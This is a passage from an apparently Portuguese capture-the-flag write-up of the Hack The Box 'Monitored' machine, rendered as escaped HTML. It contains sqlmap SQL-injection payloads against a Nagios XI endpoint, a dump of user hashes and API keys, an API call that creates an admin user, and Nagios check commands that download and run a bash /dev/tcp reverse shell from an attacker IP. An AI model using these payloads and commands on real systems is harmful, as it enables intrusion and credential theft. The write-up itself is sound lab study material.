[14:34:05] [INFO] testing if GET parameter '&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="s1"&gt;' is dynamic
[14:34:06] [WARNING] GET parameter '&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="s1"&gt;' does not appear to be dynamic
[14:34:07] [INFO] heuristic (basic) test shows that GET parameter '&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="s1"&gt;' might be injectable (possible DBMS: '&lt;/span&gt;MySQL&lt;span class="s1"&gt;')
[14:34:07] [INFO] testing for SQL injection on GET parameter '&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="s1"&gt;'
it looks like the back-end DBMS is '&lt;/span&gt;MySQL&lt;span class="s1"&gt;'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for '&lt;/span&gt;MySQL&lt;span class="s1"&gt;' extending provided level (1) and risk (1) values? [Y/n] Y
[14:34:08] [INFO] testing '&lt;/span&gt;AND boolean-based blind - WHERE or HAVING clause&lt;span class="s1"&gt;'
[14:34:08] [WARNING] reflective value(s) found and filtering out
[14:34:16] [INFO] testing '&lt;/span&gt;Boolean-based blind - Parameter replace &lt;span class="o"&gt;(&lt;/span&gt;original value&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="s1"&gt;'
[14:34:18] [INFO] GET parameter '&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="s1"&gt;' appears to be '&lt;/span&gt;Boolean-based blind - Parameter replace &lt;span class="o"&gt;(&lt;/span&gt;original value&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="s1"&gt;' injectable (with --not-string="row")
[14:34:18] [INFO] testing '&lt;/span&gt;Generic inline queries&lt;span class="s1"&gt;'
[14:34:19] [INFO] testing '&lt;/span&gt;MySQL &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause &lt;span class="o"&gt;(&lt;/span&gt;BIGINT UNSIGNED&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="s1"&gt;'
[14:34:20] [INFO] testing '&lt;/span&gt;MySQL &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; 5.5 OR error-based - WHERE or HAVING clause &lt;span class="o"&gt;(&lt;/span&gt;BIGINT UNSIGNED&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="s1"&gt;'
[14:34:21] [INFO] testing '&lt;/span&gt;MySQL &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause &lt;span class="o"&gt;(&lt;/span&gt;EXP&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="s1"&gt;'
[14:34:22] [INFO] testing '&lt;/span&gt;MySQL &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; 5.5 OR error-based - WHERE or HAVING clause &lt;span class="o"&gt;(&lt;/span&gt;EXP&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="s1"&gt;'
[14:34:22] [INFO] testing '&lt;/span&gt;MySQL &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause &lt;span class="o"&gt;(&lt;/span&gt;GTID_SUBSET&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="s1"&gt;'
[14:34:23] [INFO] testing '&lt;/span&gt;MySQL &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; 5.6 OR error-based - WHERE or HAVING clause &lt;span class="o"&gt;(&lt;/span&gt;GTID_SUBSET&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="s1"&gt;'
[14:34:24] [INFO] testing '&lt;/span&gt;MySQL &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause &lt;span class="o"&gt;(&lt;/span&gt;JSON_KEYS&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="s1"&gt;'
[14:34:25] [INFO] testing '&lt;/span&gt;MySQL &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; 5.7.8 OR error-based - WHERE or HAVING clause &lt;span class="o"&gt;(&lt;/span&gt;JSON_KEYS&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="s1"&gt;'
[14:34:26] [INFO] testing '&lt;/span&gt;MySQL &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause &lt;span class="o"&gt;(&lt;/span&gt;FLOOR&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="s1"&gt;'
[14:34:26] [INFO] testing '&lt;/span&gt;MySQL &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause &lt;span class="o"&gt;(&lt;/span&gt;FLOOR&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="s1"&gt;'
[14:34:27] [INFO] GET parameter '&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="s1"&gt;' is '&lt;/span&gt;MySQL &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause &lt;span class="o"&gt;(&lt;/span&gt;FLOOR&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="s1"&gt;' injectable 
[14:34:27] [INFO] testing '&lt;/span&gt;MySQL inline queries&lt;span class="s1"&gt;'
...
...
[14:34:46] [INFO] GET parameter '&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="s1"&gt;' appears to be '&lt;/span&gt;MySQL &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; 5.0.12 AND time-based blind &lt;span class="o"&gt;(&lt;/span&gt;query SLEEP&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="s1"&gt;' injectable 
...
GET parameter '&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="s1"&gt;' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 271 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: action=acknowledge_banner_message&amp;amp;id=(SELECT (CASE WHEN (7780=7780) THEN 3 ELSE (SELECT 8823 UNION SELECT 4738) END))&amp;amp;token=c035f0bb3bbb9f6230d99675fdbf21941386e525

    Type: error-based
    Title: MySQL &amp;gt;= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: action=acknowledge_banner_message&amp;amp;id=3 OR (SELECT 6550 FROM(SELECT COUNT(*),CONCAT(0x7170626b71,(SELECT (ELT(6550=6550,1))),0x716b7a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&amp;amp;token=c035f0bb3bbb9f6230d99675fdbf21941386e525

    Type: time-based blind
    Title: MySQL &amp;gt;= 5.0.12 AND time-based blind (query SLEEP)
    Payload: action=acknowledge_banner_message&amp;amp;id=3 AND (SELECT 6899 FROM (SELECT(SLEEP(5)))agwy)&amp;amp;token=c035f0bb3bbb9f6230d99675fdbf21941386e525
---
[14:37:12] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.56
back-end DBMS: MySQL &amp;gt;= 5.0 (MariaDB fork)
...
Database: information_schema
[82 tables]
+---------------------------------------+
| ALL_PLUGINS                           |
| APPLICABLE_ROLES                      |
| CHARACTER_SETS                        |
| CHECK_CONSTRAINTS                     |
| CLIENT_STATISTICS                     |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMN_PRIVILEGES                     |
| ENABLED_ROLES                         |
| FILES                                 |
| GEOMETRY_COLUMNS                      |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| INDEX_STATISTICS                      |
| INNODB_BUFFER_PAGE                    |
| INNODB_BUFFER_PAGE_LRU                |
| INNODB_BUFFER_POOL_STATS              |
| INNODB_CMP                            |
| INNODB_CMPMEM                         |
| INNODB_CMPMEM_RESET                   |
| INNODB_CMP_PER_INDEX                  |
| INNODB_CMP_PER_INDEX_RESET            |
| INNODB_CMP_RESET                      |
| INNODB_FT_BEING_DELETED               |
| INNODB_FT_CONFIG                      |
| INNODB_FT_DEFAULT_STOPWORD            |
| INNODB_FT_DELETED                     |
| INNODB_FT_INDEX_CACHE                 |
| INNODB_FT_INDEX_TABLE                 |
| INNODB_LOCKS                          |
| INNODB_LOCK_WAITS                     |
| INNODB_METRICS                        |
| INNODB_MUTEXES                        |
| INNODB_SYS_COLUMNS                    |
| INNODB_SYS_DATAFILES                  |
| INNODB_SYS_FIELDS                     |
| INNODB_SYS_FOREIGN                    |
| INNODB_SYS_FOREIGN_COLS               |
| INNODB_SYS_INDEXES                    |
| INNODB_SYS_SEMAPHORE_WAITS            |
| INNODB_SYS_TABLES                     |
| INNODB_SYS_TABLESPACES                |
| INNODB_SYS_TABLESTATS                 |
| INNODB_SYS_VIRTUAL                    |
| INNODB_TABLESPACES_ENCRYPTION         |
| INNODB_TRX                            |
| KEYWORDS                              |
| KEY_CACHES                            |
| KEY_COLUMN_USAGE                      |
| OPTIMIZER_TRACE                       |
| PARAMETERS                            |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| SPATIAL_REF_SYS                       |
| SQL_FUNCTIONS                         |
| STATISTICS                            |
| SYSTEM_VARIABLES                      |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TABLE_STATISTICS                      |
| THREAD_POOL_GROUPS                    |
| THREAD_POOL_QUEUES                    |
| THREAD_POOL_STATS                     |
| THREAD_POOL_WAITS                     |
| USER_PRIVILEGES                       |
| USER_STATISTICS                       |
| VIEWS                                 |
| COLUMNS                               |
| ENGINES                               |
| EVENTS                                |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| TABLES                                |
| TRIGGERS                              |
| user_variables                        |
+---------------------------------------+

Database: nagiosxi
[22 tables]
+---------------------------------------+
| xi_auditlog                           |
| xi_auth_tokens                        |
| xi_banner_messages                    |
| xi_cmp_ccm_backups                    |
| xi_cmp_favorites                      |
| xi_cmp_nagiosbpi_backups              |
| xi_cmp_scheduledreports_log           |
| xi_cmp_trapdata                       |
| xi_cmp_trapdata_log                   |
| xi_commands                           |
| xi_deploy_agents                      |
| xi_deploy_jobs                        |
| xi_eventqueue                         |
| xi_events                             |
| xi_link_users_messages                |
| xi_meta                               |
| xi_mibs                               |
| xi_options                            |
| xi_sessions                           |
| xi_sysstat                            |
| xi_usermeta                           |
| xi_users                              |
+---------------------------------------+
[14:40:23] [INFO] fetched data logged to text files under '&lt;/span&gt;/root/.local/share/sqlmap/output/nagios.monitored.htb&lt;span class="s1"&gt;'
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aqui temos o retorno de todas as tabelas de todos os bancos existentes, que são &lt;strong&gt;information_schema&lt;/strong&gt; e &lt;strong&gt;nagiosxi&lt;/strong&gt;.&lt;br&gt;
Buscando credenciais podemos visualizar o conteúdo da tabela &lt;strong&gt;xi_users&lt;/strong&gt; do banco de dados &lt;strong&gt;nagiosxi&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/monitored]
└─# sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&amp;amp;id=3&amp;amp;token=eca836b1c8d71116d87c8436cf5c2c45236b3f29"&lt;/span&gt; &lt;span class="nt"&gt;--batch&lt;/span&gt; &lt;span class="nt"&gt;-D&lt;/span&gt; nagiosxi &lt;span class="nt"&gt;-T&lt;/span&gt; xi_users &lt;span class="nt"&gt;--dump&lt;/span&gt;
...
Database: nagiosxi
Table: xi_users
&lt;span class="o"&gt;[&lt;/span&gt;2 entries]
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
| user_id | email               | name                 | api_key                                                          | enabled | password                                                     | username    | created_by | last_login | api_enabled | last_edited | created_time | last_attempt | backend_ticket                                                   | last_edited_by | login_attempts | last_password_change |
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+
| 1       | admin@monitored.htb | Nagios Administrator | IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL | 1       | &lt;span class="nv"&gt;$2a$10$825c1eec29c150b118fe7unSfxq80cf7tHwC0J0BG2qZiNzWRUx2C&lt;/span&gt; | nagiosadmin | 0          | 1701931372 | 1           | 1701427555  | 0            | 0            | IoAaeXNLvtDkH5PaGqV2XZ3vMZJLMDR0                                 | 5              | 0              | 1701427555           |
| 2       | svc@monitored.htb   | svc                  | 2huuT2u2QIPqFuJHnkPEEuibGJaJIcHCFDpDb29qSFVlbdO4HJkjfg2VpDNE3PEK | 0       | &lt;span class="nv"&gt;$2a$10$12edac88347093fcfd392Oun0w66aoRVCrKMPBydaUfgsgAOUHSbK&lt;/span&gt; | svc         | 1          | 1699724476 | 1           | 1699728200  | 1699634403   | 1705260273   | 6oWBPbarHY4vejimmu3K8tpZBNrdHpDgdUEs5P2PFZYpXSuIdrRMYgk66A0cjNjq | 1              | 5              | 1699697433           |
+---------+---------------------+----------------------+------------------------------------------------------------------+---------+--------------------------------------------------------------+-------------+------------+------------+-------------+-------------+--------------+--------------+------------------------------------------------------------------+----------------+----------------+----------------------+

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com o token do admin conseguimos acesso como admin na api, e assim conseguimos criar um usuário para interface com o seguinte comando:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/monitored]
└─# curl &lt;span class="nt"&gt;-XPOST&lt;/span&gt; &lt;span class="nt"&gt;--insecure&lt;/span&gt; &lt;span class="s2"&gt;"https://nagios.monitored.htb/nagiosxi/api/v1/system/user?apikey=IudGPHd9pEKiee9MkJ7ggPD89q3YndctnPeRQOmS2PQ7QIrbJEomFVG6Eut9CHLL&amp;amp;pretty=1"&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"username=mrntsgs&amp;amp;password=mrtnsgs&amp;amp;name=mrtnsgs&amp;amp;email=mrtnsgs@localhost&amp;amp;auth_level=admin"&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"success"&lt;/span&gt;: &lt;span class="s2"&gt;"User account mrntsgs was added successfully!"&lt;/span&gt;,
    &lt;span class="s2"&gt;"user_id"&lt;/span&gt;: 6
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com isso conseguimos logar na interface:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa4iz48nk5muuzv342oo8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa4iz48nk5muuzv342oo8.png" alt="Nagios Login" width="800" height="544"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;No primeiro acesso será solicitado a troca da senha do novo usuário:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd6fqihfgpu68oqmtd2v8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd6fqihfgpu68oqmtd2v8.png" alt="Troca de senha no primeiro acesso" width="800" height="308"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;E agora temos acesso a interface:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F75y92ve9bafmwi96yqxu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F75y92ve9bafmwi96yqxu.png" alt="Interface" width="800" height="662"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;O Nagios possuí diversas funcionalidades para monitorar hosts e serviços, dentre estes podemos utilizar comandos de checagem, ja existem alguns pré-definidos e podemos criar novos.&lt;/p&gt;

&lt;p&gt;Para isso vamos acessar em &lt;strong&gt;Starting Monitoring -&amp;gt; Advanced Config&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjm23wijtuh0n7sag1slz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjm23wijtuh0n7sag1slz.png" alt="Advanced Config" width="800" height="662"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Na próxima tela vamos acessar Commands:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdsk9dz4f1ytldp549z7s.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdsk9dz4f1ytldp549z7s.png" alt="Core config Management" width="800" height="662"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;E aqui temos diversos comandos ja pré definidos:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3hgjskrm0tfvtxqwbzet.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3hgjskrm0tfvtxqwbzet.png" alt="Commands" width="800" height="662"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Visando conseguir um shell podemos criar dois comandos para o localhost que ira realizar o download e executar nossa reverse shell. Para isso vamos clicar em &lt;strong&gt;+ Add New&lt;/strong&gt; e adicionar o seguinte comando:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://10.10.14.128:8081/rev.sh &lt;span class="nt"&gt;-o&lt;/span&gt; /tmp/rev.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Um ponto de atenção é manter o Command Type como check command, para que fique disponível para execução que iremos ver logo a seguir.&lt;/p&gt;

&lt;p&gt;Basta clicar em &lt;strong&gt;Save&lt;/strong&gt; e na próxima tela em &lt;strong&gt;Apply Configuration&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqmbrubjxmp6gucv6ibhe.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqmbrubjxmp6gucv6ibhe.png" alt="Config saved" width="800" height="300"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Este primeiro comando ira baixar o reverse shell e salvar no diretório /tmp. Precisamos agora adicionar outro comando, que executará o script contendo nosso reverse shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash /tmp/rev.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Seguindo os mesmos procedimentos teremos os dois comandos abaixo:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpshc726gnywgvp7jvrz8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpshc726gnywgvp7jvrz8.png" alt="Comandos criados" width="800" height="662"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Não esquecer de clicar em Apply Configuration!&lt;/p&gt;

&lt;p&gt;Precisamos criar o arquivo rev.sh com o seguinte conteúdo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
bash &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&amp;amp; /dev/tcp/10.10.14.128/9001 0&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No terminal iremos subir um servidor http usando python, para que seja possível o download proveniente do alvo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/monitored]
└─# python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 8081
Serving HTTP on 0.0.0.0 port 8081 &lt;span class="o"&gt;(&lt;/span&gt;http://0.0.0.0:8081/&lt;span class="o"&gt;)&lt;/span&gt; ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Em outra aba do terminal iremos utilizar o &lt;a href="https://github.com/calebstewart/pwncat" rel="noopener noreferrer"&gt;pwncat&lt;/a&gt; para receber a conexão reversa quando executarmos o segundo comando:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/monitored]
└─# pwncat-cs &lt;span class="nt"&gt;-lp&lt;/span&gt; 9001
&lt;span class="o"&gt;[&lt;/span&gt;13:45:22] Welcome to pwncat 🐈!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Precisamos partir para a execução dos comandos, iremos na coluna a direita iremos em &lt;strong&gt;Monitoring -&amp;gt; Hosts&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8qd5hbhxhbqye09vs362.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8qd5hbhxhbqye09vs362.png" alt="Hosts" width="800" height="300"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Iremos clicar em localhost. Aqui temos diversas configurações para o host, onde nesse caso é nosso alvo. Na aba &lt;strong&gt;Check Command&lt;/strong&gt; iremos buscar nossos comandos &lt;strong&gt;revshell-download&lt;/strong&gt; e &lt;strong&gt;revshell-download&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feg7782sdsa5vyudk94z5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Feg7782sdsa5vyudk94z5.png" alt="Host management options" width="800" height="609"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Primeiro iremos executar o download do arquivo, para isso iremos clicar em &lt;strong&gt;Run Check Command&lt;/strong&gt;, que irá abrir uma opção e iremos clicar novamente em &lt;strong&gt;Run Check Command&lt;/strong&gt;, que executará nosso comando:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa8vp2xwp56px2886zu9u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa8vp2xwp56px2886zu9u.png" alt="Run Check Command" width="800" height="609"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Confirmamos o RCE em nosso servidor http que recebeu a requisição:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/monitored]
└─# python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 8081
Serving HTTP on 0.0.0.0 port 8081 &lt;span class="o"&gt;(&lt;/span&gt;http://0.0.0.0:8081/&lt;span class="o"&gt;)&lt;/span&gt; ...
10.129.130.92 - - &lt;span class="o"&gt;[&lt;/span&gt;17/Jan/2024 14:05:46] &lt;span class="s2"&gt;"GET /rev.sh HTTP/1.1"&lt;/span&gt; 200 -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Com o arquivo em nosso alvo, agora iremos executar nosso comando &lt;strong&gt;revshell-exec&lt;/strong&gt;.&lt;br&gt;
E temos o seguinte retorno no pwncat:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/monitored]
└─# pwncat-cs &lt;span class="nt"&gt;-lp&lt;/span&gt; 9001
&lt;span class="o"&gt;[&lt;/span&gt;13:45:22] Welcome to pwncat 🐈!                            __main__.py:164
&lt;span class="o"&gt;[&lt;/span&gt;14:09:50] received connection from 10.129.130.92:37844     bind.py:84
